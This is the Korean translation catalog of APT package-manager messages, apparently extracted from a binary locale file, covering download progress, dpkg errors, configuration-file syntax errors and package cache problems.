ํŒจํ‚ค์ง€๋ฅผ ์ง€์šฐ๋Š” ์ค‘์ž…๋‹ˆ๋‹ค๋Œ€์ฒดํŒŒ์ผ ๋ฐ›์•„์˜ค๋Š” ์ค‘: %2$li ์ค‘ %1$liํŒŒ์ผ ๋ฐ›์•„์˜ค๋Š” ์ค‘: %2$li ์ค‘ %1$li (%3$s ๋‚จ์•˜์Œ)dpkg ์‹คํ–‰ํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค์„ค์น˜ ํ›„ ํŠธ๋ฆฌ๊ฑฐ %s ์‹คํ–‰ํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค๋””์Šคํฌ์—์„œ ์ƒ‰์ธ ํŒŒ์ผ์„ ์ฐพ๋Š” ์ค‘์ž…๋‹ˆ๋‹ค...
์„ ํƒํ•œ %s์ด(๊ฐ€) ์—†์Šต๋‹ˆ๋‹ค%s ์„ผ์Šค๋ฅผ ์ดํ•ดํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ฐธ ์•„๋‹ˆ๋ฉด ๊ฑฐ์ง“์œผ๋กœ ํ•ด ๋ณด์‹ญ์‹œ์˜ค.ํฌ๊ธฐ๊ฐ€ ๋งž์ง€ ์•Š์Šต๋‹ˆ๋‹ค์ด ๋””์Šคํฌ์˜ ์†Œ์Šค ๋ฆฌ์ŠคํŠธ ํ•ญ๋ชฉ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
์ €์žฅ๋œ ๋ ˆ์ด๋ธ”: %s
ํ•˜์œ„ ํ”„๋กœ์„ธ์Šค %s ํ”„๋กœ์„ธ์Šค๊ฐ€ ์˜ˆ์ƒ์น˜ ๋ชปํ•˜๊ฒŒ ๋๋‚ฌ์Šต๋‹ˆ๋‹คํ•˜์œ„ ํ”„๋กœ์„ธ์Šค %s ํ”„๋กœ์„ธ์Šค๊ฐ€ ์„ธ๊ทธ๋ฉ˜ํ…Œ์ด์…˜ ์˜ค๋ฅ˜๋ฅผ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.ํ•˜์œ„ ํ”„๋กœ์„ธ์Šค %s ํ”„๋กœ์„ธ์Šค๊ฐ€ %u๋ฒˆ ์‹œ๊ทธ๋„์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.ํ•˜์œ„ ํ”„๋กœ์„ธ์Šค %s ํ”„๋กœ์„ธ์Šค๊ฐ€ ์˜ค๋ฅ˜ ์ฝ”๋“œ(%u)๋ฅผ ๋ฆฌํ„ดํ–ˆ์Šต๋‹ˆ๋‹ค์ œ์•ˆ๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: ๋ธ”๋Ÿญ์ด ์ด๋ฆ„์œผ๋กœ ์‹œ์ž‘ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: ์ง€์‹œ์–ด๋Š” ๋งจ ์œ„ ๋‹จ๊ณ„์—์„œ๋งŒ ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: ๊ฐ’ ๋’ค์— ์“ฐ๋ ˆ๊ธฐ ๋ฐ์ดํ„ฐ๊ฐ€ ๋” ์žˆ์Šต๋‹ˆ๋‹ค๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: ํŒŒ์ผ์˜ ๋์— ์“ฐ๋ ˆ๊ธฐ ๋ฐ์ดํ„ฐ๊ฐ€ ๋” ์žˆ์Šต๋‹ˆ๋‹ค๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: ์—ฌ๊ธฐ์„œ include๋ฉ๋‹ˆ๋‹ค๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: ํƒœ๊ทธ์˜ ํ˜•์‹์ด ์ž˜๋ชป๋˜์—ˆ์Šต๋‹ˆ๋‹ค๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: include๊ฐ€ ๋„ˆ๋ฌด ๋งŽ์ด ๊ฒน์ณ ์žˆ์Šต๋‹ˆ๋‹ค๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: ์ง€์›ํ•˜์ง€ ์•Š๋Š” ์ง€์‹œ์–ด '%s'๋ฌธ๋ฒ• ์˜ค๋ฅ˜ %s:%u: clear ์ง€์‹œ์–ด๋Š” ์ธ์ˆ˜๋กœ option ํŠธ๋ฆฌ๋ฅผ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹คtar ์ฒดํฌ์„ฌ ์‹คํŒจ, ์•„์นด์ด๋ธŒ๊ฐ€ ์†์ƒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค์˜ฌ๋ฐ”๋ฅธ ์ด๋ฆ„์ด ์•„๋‹™๋‹ˆ๋‹ค. ๋‹ค์‹œ ์‹œ๋„ํ•˜์‹ญ์‹œ์˜ค.
์†Œ์Šค ๋ชฉ๋ก์„ ์ฝ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.์„ค์น˜ ๋ฐฉ๋ฒ• ๋“œ๋ผ์ด๋ฒ„ %s์„(๋ฅผ) ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.%s ํŒจํ‚ค์ง€๋ฅผ ๋‹ค์‹œ ์„ค์น˜ํ•ด์•ผ ํ•˜์ง€๋งŒ, ์ด ํŒจํ‚ค์ง€์˜ ์•„์นด์ด๋ธŒ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.ํŒจํ‚ค์ง€ ์บ์‹œ ํŒŒ์ผ์ด ํ˜ธํ™˜๋˜์ง€ ์•Š๋Š” ๋ฒ„์ „์ž…๋‹ˆ๋‹คํŒจํ‚ค์ง€ ์บ์‹œ ํŒŒ์ผ์ด ์†์ƒ๋˜์—ˆ์Šต๋‹ˆ๋‹คํŒจํ‚ค์ง€ ๋ชฉ๋ก์ด๋‚˜ ์ƒํƒœ ํŒŒ์ผ์„ ํŒŒ์‹ฑํ•  ์ˆ˜ ์—†๊ฑฐ๋‚˜ ์—ด ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.์ด APT๋Š” '%s' ๋ฒ„์ „ ์‹œ์Šคํ…œ์„ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค์ด ๋””์Šคํฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: 
'%s'
์ด๋ฒˆ์— ์„ค์น˜ํ•  ๋•Œ ์ถฉ๋Œ/์„ ์˜์กด์„ฑ์ด ๋ฃจํ”„๊ฐ€ ๊ฑธ๋ ธ๊ธฐ ๋•Œ๋ฌธ์— ๊ผญ ํ•„์š”ํ•œ %s ํŒจํ‚ค์ง€๋ฅผ ์ž ๊น ์ œ๊ฑฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒจํ‚ค์ง€๋ฅผ ์ œ๊ฑฐํ•˜๋Š” ๊ฑด ์ข‹์ง€ ์•Š์ง€๋งŒ, ์ •๋ง ์ง€์šฐ๋ ค๋ฉด APT::Force-LoopBreak ์˜ต์…˜์„ ์ผœ์‹ญ์‹œ์˜ค.์˜ฌ๋ฐ”๋ฅธ DEB ์•„์นด์ด๋ธŒ๊ฐ€ ์•„๋‹™๋‹ˆ๋‹ค. '%s' ๋ฉค๋ฒ„๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค์†Œ์Šค ๋ชฉ๋ก %3$s์˜ %2$u๋ฒˆ ์ค„์˜ '%1$s' ํƒ€์ž…์„ ์•Œ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คmmap์„ ๋‹ซ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค๋ฌธ์ œ๋ฅผ ๋ฐ”๋กœ์žก์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋ง๊ฐ€์ง„ ๊ณ ์ • ํŒจํ‚ค์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.์˜ฌ๋ฐ”๋ฅธ ํŒจํ‚ค์ง€ ์‹œ์Šคํ…œ ํƒ€์ž…์„ ์•Œ์•„๋‚ผ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คmmap ํฌ๊ธฐ๋ฅผ ๋Š˜๋ฆด ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ž๋™์œผ๋กœ ๋Š˜๋ฆฌ๋Š” ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉ์ž๊ฐ€ ๊ธˆ์ง€ํ–ˆ์Šต๋‹ˆ๋‹ค.mmap ํฌ๊ธฐ๋ฅผ ๋Š˜๋ฆด ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด๋ฏธ %lu ๋ฐ”์ดํŠธ ํ•œ๊ณ„์— ๋„๋‹ฌํ–ˆ์Šต๋‹ˆ๋‹ค.ํŒจํ‚ค์ง€ ํŒŒ์ผ์ด ํ•˜๋‚˜๋„ ์—†์Šต๋‹ˆ๋‹ค. ์•„๋งˆ๋„ ๋ฐ๋น„์•ˆ ๋””์Šคํฌ๊ฐ€ ์•„๋‹ˆ๊ฑฐ๋‚˜ ์•„ํ‚คํ…์ฒ˜๊ฐ€ ์ž˜๋ชป๋œ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค?%s ํŒจํ‚ค์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค%s ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ž ๊ธ€ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค๊ด€๋ฆฌ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ (%s) ์ž ๊ธ€ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋ฃจํŠธ ์‚ฌ์šฉ์ž๊ฐ€ ๋งž์Šต๋‹ˆ๊นŒ?๊ด€๋ฆฌ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ (%s) ์ž ๊ธ€ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์ง€ ์•Š์Šต๋‹ˆ๊นŒ?Release ํŒŒ์ผ %s ํŒŒ์ผ์„ ํŒŒ์‹ฑํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คํŒจํ‚ค์ง€ ํŒŒ์ผ %s ํŒŒ์ผ์„ ํŒŒ์‹ฑํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค (%d)%s์„(๋ฅผ) ์ฝ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค%s์˜ ์ •๋ณด๋ฅผ ์ฝ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.๋งˆ์šดํŠธ ์œ„์น˜ %s์˜ ์ •๋ณด๋ฅผ ์ฝ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คmmap์„ ๋™๊ธฐํ™”ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค%s์— ์“ธ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คCD-ROM์„ ๋งˆ์šดํŠธ ํ•ด์ œํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค...
%s ํ‘ธ๋Š” ์ค‘์ž…๋‹ˆ๋‹คcontrol ํŒŒ์ผ์„ ํŒŒ์‹ฑํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค์ด ํƒ€์ž… ์ค„์ž„๋ง์„ ์•Œ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค: '%c'CD-ROM ๋งˆ์šดํŠธ ์œ„์น˜ %s ์‚ฌ์šฉ
%2$s ํŒจํ‚ค์ง€์˜ '%1$s' ๋ฒ„์ „์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค%s ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ธฐ๋‹ค๋ ธ์ง€๋งŒ ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค๋””์Šคํฌ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋Š” ์ค‘์ž…๋‹ˆ๋‹ค...
์šฐ์™€, ์ด APT๊ฐ€ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ์˜์กด์„ฑ ๊ฐœ์ˆ˜๋ฅผ ๋„˜์–ด๊ฐ”์Šต๋‹ˆ๋‹ค.์šฐ์™€, ์ด APT๊ฐ€ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ์„ค๋ช… ๊ฐœ์ˆ˜๋ฅผ ๋„˜์–ด๊ฐ”์Šต๋‹ˆ๋‹ค.์šฐ์™€, ์ด APT๊ฐ€ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ํŒจํ‚ค์ง€ ์ด๋ฆ„ ๊ฐœ์ˆ˜๋ฅผ ๋„˜์–ด๊ฐ”์Šต๋‹ˆ๋‹ค.์šฐ์™€, ์ด APT๊ฐ€ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ๋ฒ„์ „ ๊ฐœ์ˆ˜๋ฅผ ๋„˜์–ด๊ฐ”์Šต๋‹ˆ๋‹ค.์“ฐ๊ธฐ ์˜ค๋ฅ˜์ƒˆ ์†Œ์Šค ๋ฆฌ์ŠคํŠธ๋ฅผ ์“ฐ๋Š” ์ค‘์ž…๋‹ˆ๋‹ค
๋ ˆ์ฝ”๋“œ %i๊ฐœ๋ฅผ ํŒŒ์ผ %i๊ฐœ๊ฐ€ ๋งž์ง€ ์•Š์€ ์ƒํƒœ๋กœ ์ผ์Šต๋‹ˆ๋‹ค
๋ ˆ์ฝ”๋“œ %i๊ฐœ๋ฅผ ํŒŒ์ผ %i๊ฐœ๊ฐ€ ๋น ์ง€๊ณ  %i๊ฐœ๊ฐ€ ๋งž์ง€ ์•Š์€ ์ƒํƒœ๋กœ ์ผ์Šต๋‹ˆ๋‹ค
๋ ˆ์ฝ”๋“œ %i๊ฐœ๋ฅผ ํŒŒ์ผ %i๊ฐœ๊ฐ€ ๋น ์ง„ ์ƒํƒœ๋กœ ์ผ์Šต๋‹ˆ๋‹ค.
๋ ˆ์ฝ”๋“œ %i๊ฐœ๋ฅผ ์ผ์Šต๋‹ˆ๋‹ค.
apt-get update๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์ด ๋ฌธ์ œ๋ฅผ ๋ฐ”๋กœ์žก์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.์˜์กด์„ฑ ๋ฌธ์ œ - ์„ค์ •ํ•˜์ง€ ์•Š์€ ์ƒํƒœ๋กœ ๋‚จ๊ฒจ๋‘ก๋‹ˆ๋‹คdpkg๊ฐ€ ์ค‘๋‹จ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ˆ˜๋™์œผ๋กœ '%s' ๋ช…๋ น์„ ์‹คํ–‰ํ•ด ๋ฌธ์ œ์ ์„ ๋ฐ”๋กœ์žก์œผ์‹ญ์‹œ์˜ค.๋ณ„๋„์ค‘์š”์˜ต์…˜์ด๋ฆ„ ๋ฐ”๊พธ๊ธฐ๊ฐ€ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค. %s (%s -> %s).ํ•„์ˆ˜ํ‘œ์ค€

Hry